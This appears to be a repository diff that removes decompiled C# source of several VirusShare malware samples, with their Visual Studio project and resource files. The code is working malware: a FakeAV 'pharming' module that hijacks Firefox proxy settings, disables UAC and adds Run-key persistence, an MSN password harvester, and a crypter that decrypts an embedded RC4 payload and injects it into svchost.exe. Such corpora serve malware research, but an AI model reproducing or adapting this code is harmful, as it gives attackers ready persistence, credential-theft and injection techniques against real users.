// Type: Pharming_V4.firefox
// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Diagnostics;
using System.IO;
namespace Pharming_V4
{
[StandardModule]
internal sealed class firefox
{
public static void firefox()
{
Process[] processesByName = Process.GetProcessesByName(nameof (firefox));
int index1 = 0;
while (index1 < processesByName.Length)
{
processesByName[index1].Kill();
checked { ++index1; }
}
string str = "";
string[] directories = Directory.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Mozilla\\Firefox\\Profiles\\");
int index2 = 0;
while (index2 < directories.Length)
{
str = directories[index2];
checked { ++index2; }
}
StreamReader streamReader = new StreamReader(str + "\\prefs.js");
string end = streamReader.ReadToEnd();
streamReader.Close();
string path = str + "\\pending.js";
if (end.Contains("user_pref(\"network.proxy.type\", 1);"))
{
StreamWriter streamWriter = new StreamWriter(path, false);
streamWriter.WriteLine(end.Replace("user_pref(\"network.proxy.type\", 1);", "user_pref(\"network.proxy.type\", 5);"));
streamWriter.Close();
}
else if (end.Contains("user_pref(\"network.proxy.type\", 2);"))
{
StreamWriter streamWriter = new StreamWriter(path, false);
streamWriter.WriteLine(end.Replace("user_pref(\"network.proxy.type\", 2);", "user_pref(\"network.proxy.type\", 5);"));
streamWriter.Close();
}
else if (end.Contains("user_pref(\"network.proxy.type\", 3);"))
{
StreamWriter streamWriter = new StreamWriter(path, false);
streamWriter.WriteLine(end.Replace("user_pref(\"network.proxy.type\", 3);", "user_pref(\"network.proxy.type\", 5);"));
streamWriter.Close();
}
else if (end.Contains("user_pref(\"network.proxy.type\", 4);"))
{
StreamWriter streamWriter = new StreamWriter(path, false);
streamWriter.WriteLine(end.Replace("user_pref(\"network.proxy.type\", 4);", "user_pref(\"network.proxy.type\", 5);"));
streamWriter.Close();
}
else if (end.Contains("user_pref(\"network.proxy.type\", 5);"))
{
StreamWriter streamWriter = new StreamWriter(path, false);
streamWriter.WriteLine(end.Replace("user_pref(\"network.proxy.type\", 5);", "user_pref(\"network.proxy.type\", 5);"));
streamWriter.Close();
}
else
{
StreamWriter streamWriter = new StreamWriter(path, false);
streamWriter.WriteLine("user_pref(\"network.proxy.type\", 5);");
streamWriter.Close();
}
File.Delete(str + "\\prefs.js");
File.Move(str + "\\pending.js", str + "\\prefs.js");
}
}
}

View File

@ -1,51 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Pharming_V4.pharmantiga
// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using System;
using System.Diagnostics;
namespace Pharming_V4
{
[StandardModule]
internal sealed class pharmantiga
{
public static void pharmantiga()
{
try
{
Process[] processesByName = Process.GetProcessesByName("windowsfiledk");
int index = 0;
while (index < processesByName.Length)
{
processesByName[index].Kill();
checked { ++index; }
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
try
{
Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue("www.msn.com");
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
RegistryKey registryKey1 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\", true);
registryKey1.SetValue("EnableLUA", (object) 0);
registryKey1.Close();
RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Security Center", true);
registryKey2.SetValue("UacDisableNotify", (object) 0);
registryKey2.Close();
}
}
}

View File

@ -1,35 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Pharming_V4.pharmnova
// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using Pharming_V4.My;
using System;
using System.Reflection;
namespace Pharming_V4
{
[StandardModule]
internal sealed class pharmnova
{
public static void pharmnova()
{
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
try
{
MyProject.Computer.FileSystem.CopyFile(Assembly.GetExecutingAssembly().Location, folderPath + "\\telefx\\Config.com", true);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue("Config", (object) ("\"" + folderPath + "\\telefx\\Config.com\" -autorun"));
Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Associations");
Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Associations", true).SetValue("LowRiskFileTypes", (object) ".exe;.com;.scr");
}
}
}

View File

@ -1,15 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Pharming_V4.phpenvioinfect
// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
using Microsoft.VisualBasic.CompilerServices;
namespace Pharming_V4
{
[StandardModule]
internal sealed class phpenvioinfect
{
}
}

View File

@ -1,15 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Pharming_V4.smtpenvioinfect
// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
using Microsoft.VisualBasic.CompilerServices;
namespace Pharming_V4
{
[StandardModule]
internal sealed class smtpenvioinfect
{
}
}

View File

@ -1,17 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Pharming_V4.so
// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe
using Microsoft.VisualBasic.CompilerServices;
using Pharming_V4.My;
namespace Pharming_V4
{
[StandardModule]
internal sealed class so
{
public static void so() => Module1.osName = MyProject.Computer.Info.OSFullName;
}
}

View File

@ -1,14 +0,0 @@
using System.Reflection;
using System.Runtime.InteropServices;
[assembly: ComVisible(false)]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCompany("")]
[assembly: Guid("5192d2b7-d79f-476f-a3bc-57dd518db855")]
[assembly: AssemblyCopyright("Copyright © 2007")]
[assembly: AssemblyProduct("msnpass")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyTitle("msnpass")]
[assembly: AssemblyVersion("1.0.0.0")]

View File

@ -1,54 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: msnpass.Program
// Assembly: msnpass, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 2ED384D7-4351-48FD-8838-EBAD7AD18D21
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Hesv.cpfa-7c073469bc2761d846d97e8b26448df45289ff688e24ad10374ae7ffde69f130.exe
using System;
using System.Diagnostics;
using System.IO;
using System.Windows.Forms;
namespace msnpass
{
internal static class Program
{
[STAThread]
private static void Main()
{
if (new Random().Next(10) == 5)
{
int num = (int) MessageBox.Show("The bastard next to you is hacking your msn password using his USB!!", "Error: VIRUS www.dngloz.com");
}
Process process = new Process();
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.FileName = "pass.exe";
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process.StartInfo.CreateNoWindow = true;
process.Start();
string[] strArray1 = process.StandardOutput.ReadToEnd().Split('\n');
process.WaitForExit();
string[] strArray2 = new string[strArray1.Length];
string[] strArray3 = new string[strArray1.Length];
Directory.CreateDirectory("PAS");
new DirectoryInfo("PAS").Attributes = FileAttributes.Hidden;
for (int index = 0; index < strArray1.Length - 2; ++index)
{
string[] strArray4 = strArray1[index].Split(' ');
strArray2[index] = strArray4[1];
strArray3[index] = strArray4[3];
using (StreamWriter streamWriter = new StreamWriter("PAS/" + strArray2[index] + ".txt"))
{
streamWriter.WriteLine("Don't be an idiot and ruin someones life...");
streamWriter.WriteLine("This is for educational purposes only!");
streamWriter.WriteLine("You are fully responsible on how you use it.");
streamWriter.WriteLine();
streamWriter.WriteLine("----- http://www.dngloz.com -----");
streamWriter.WriteLine();
streamWriter.WriteLine("Password: " + strArray3[index]);
}
}
}
}
}

View File

@ -1,46 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: msnpass.Properties.Resources
// Assembly: msnpass, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 2ED384D7-4351-48FD-8838-EBAD7AD18D21
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Hesv.cpfa-7c073469bc2761d846d97e8b26448df45289ff688e24ad10374ae7ffde69f130.exe
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Globalization;
using System.Resources;
using System.Runtime.CompilerServices;
namespace msnpass.Properties
{
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
[DebuggerNonUserCode]
[CompilerGenerated]
internal class Resources
{
private static ResourceManager resourceMan;
private static CultureInfo resourceCulture;
internal Resources()
{
}
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static ResourceManager ResourceManager
{
get
{
if (object.ReferenceEquals((object) msnpass.Properties.Resources.resourceMan, (object) null))
msnpass.Properties.Resources.resourceMan = new ResourceManager("msnpass.Properties.Resources", typeof (msnpass.Properties.Resources).Assembly);
return msnpass.Properties.Resources.resourceMan;
}
}
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static CultureInfo Culture
{
get => msnpass.Properties.Resources.resourceCulture;
set => msnpass.Properties.Resources.resourceCulture = value;
}
}
}

View File

@ -1,120 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>

View File

@ -1,28 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: msnpass.Properties.Settings
// Assembly: msnpass, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 2ED384D7-4351-48FD-8838-EBAD7AD18D21
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Hesv.cpfa-7c073469bc2761d846d97e8b26448df45289ff688e24ad10374ae7ffde69f130.exe
using System.CodeDom.Compiler;
using System.Configuration;
using System.Runtime.CompilerServices;
namespace msnpass.Properties
{
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "8.0.0.0")]
[CompilerGenerated]
internal sealed class Settings : ApplicationSettingsBase
{
private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings());
public static Settings Default
{
get
{
Settings defaultInstance = Settings.defaultInstance;
return defaultInstance;
}
}
}
}

View File

@ -1,46 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Hesv.cpfa-7c073469bc2761d846d97e8b26448df45289ff688e24ad10374ae7ffde69f130.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{6B13EEDF-8550-44F1-BE8F-21223E35F5F1}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>msnpass</AssemblyName>
<ApplicationVersion>1.0.0.0</ApplicationVersion>
<RootNamespace>msnpass</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="Program.cs" />
<Compile Include="Properties\Settings.cs" />
<Compile Include="Properties\Resources.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="Properties\Resources.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>

View File

@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "msnpass", "Trojan.Win32.Hesv.cpfa-7c073469bc2761d846d97e8b26448df45289ff688e24ad10374ae7ffde69f130.csproj", "{6B13EEDF-8550-44F1-BE8F-21223E35F5F1}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{6B13EEDF-8550-44F1-BE8F-21223E35F5F1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{6B13EEDF-8550-44F1-BE8F-21223E35F5F1}.Debug|Any CPU.Build.0 = Debug|Any CPU
{6B13EEDF-8550-44F1-BE8F-21223E35F5F1}.Release|Any CPU.ActiveCfg = Release|Any CPU
{6B13EEDF-8550-44F1-BE8F-21223E35F5F1}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -1,3 +0,0 @@
using System.Reflection;
[assembly: AssemblyVersion("0.0.0.0")]

View File

@ -1,95 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: CrypterSource.Program
// Assembly: AryanF, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 2EB8EB51-C97D-4251-9393-007DD226E453
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Jorik.IRCbot.anj-296f7eecb994ab8b677ff5c7ad9abb7039c800cf5860ac2945e044e236dabf27.exe
using Microsoft.Win32;
using System;
using System.IO;
using System.Reflection;
using System.Resources;
using System.Text;
namespace CrypterSource
{
internal class Program
{
private static void Main()
{
try
{
File.Copy(Assembly.GetExecutingAssembly().Location, Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\javaw.exe");
Registry.CurrentUser.OpenSubKey(Encoding.ASCII.GetString(Convert.FromBase64String("U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVu")), true).SetValue("Microsoft Essentials", (object) (Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\javaw.exe"), RegistryValueKind.String);
ResourceManager resourceManager = new ResourceManager("files", Assembly.GetExecutingAssembly());
byte[] numArray = Program.PolyRevDecrypt((byte[]) resourceManager.GetObject("_CLRb98hOPqbyekD5To7d"), "_uxiONH6s");
Type type = Assembly.Load(Program.RC4((byte[]) resourceManager.GetObject("lolumad"), "_FmEb1ONweckrT3iv")).GetTypes()[0];
type.GetMethod("Run").Invoke(Activator.CreateInstance(type), new object[2]
{
(object) numArray,
(object) "svchost.exe"
});
}
catch
{
}
}
public static byte[] RC4(byte[] bytes, string Key)
{
byte[] bytes1 = Encoding.ASCII.GetBytes(Key);
byte[] numArray1 = new byte[256];
byte[] numArray2 = new byte[256];
for (int index = 0; index < 256; ++index)
{
numArray1[index] = (byte) index;
numArray2[index] = bytes1[index % bytes1.GetLength(0)];
}
int index1 = 0;
for (int index2 = 0; index2 < 256; ++index2)
{
index1 = (index1 + (int) numArray1[index2] + (int) numArray2[index2]) % 256;
byte num = numArray1[index2];
numArray1[index2] = numArray1[index1];
numArray1[index1] = num;
}
int index3;
int index4 = index3 = 0;
for (int index5 = 0; index5 < bytes.GetLength(0); ++index5)
{
index4 = (index4 + 1) % 256;
index3 = (index3 + (int) numArray1[index4]) % 256;
byte num = numArray1[index4];
numArray1[index4] = numArray1[index3];
numArray1[index3] = num;
int index6 = ((int) numArray1[index4] + (int) numArray1[index3]) % 256;
bytes[index5] ^= numArray1[index6];
}
return bytes;
}
public static byte[] PolyRevDecrypt(byte[] data, string pass)
{
Array.Reverse((Array) data);
byte num = data[data.Length - 1];
byte[] bytes = Encoding.ASCII.GetBytes(pass);
byte[] array = new byte[data.Length + 1];
int index1 = 0;
for (int index2 = 0; index2 <= data.Length - 1; ++index2)
{
array[index2] = (byte) ((uint) data[index2] ^ (uint) num ^ (uint) bytes[index1]);
Array.Reverse((Array) bytes);
if (index1 == bytes.Length - 1)
index1 = 0;
else
++index1;
}
Array.Resize<byte>(ref array, array.Length - 2);
return array;
}
private static void OHNADWHOWADHohdwAOHD()
{
}
}
}

View File

@ -1,40 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Jorik.IRCbot.anj-296f7eecb994ab8b677ff5c7ad9abb7039c800cf5860ac2945e044e236dabf27.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{3900F2ED-26B0-4037-AAAF-7E3207FB3F3C}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>AryanF</AssemblyName>
<ApplicationVersion>0.0.0.0</ApplicationVersion>
<RootNamespace>CrypterSource</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Compile Include="Program.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="files.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>

View File

@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AryanF", "Trojan.Win32.Jorik.IRCbot.anj-296f7eecb994ab8b677ff5c7ad9abb7039c800cf5860ac2945e044e236dabf27.csproj", "{3900F2ED-26B0-4037-AAAF-7E3207FB3F3C}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{3900F2ED-26B0-4037-AAAF-7E3207FB3F3C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{3900F2ED-26B0-4037-AAAF-7E3207FB3F3C}.Debug|Any CPU.Build.0 = Debug|Any CPU
{3900F2ED-26B0-4037-AAAF-7E3207FB3F3C}.Release|Any CPU.ActiveCfg = Release|Any CPU
{3900F2ED-26B0-4037-AAAF-7E3207FB3F3C}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -1,847 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
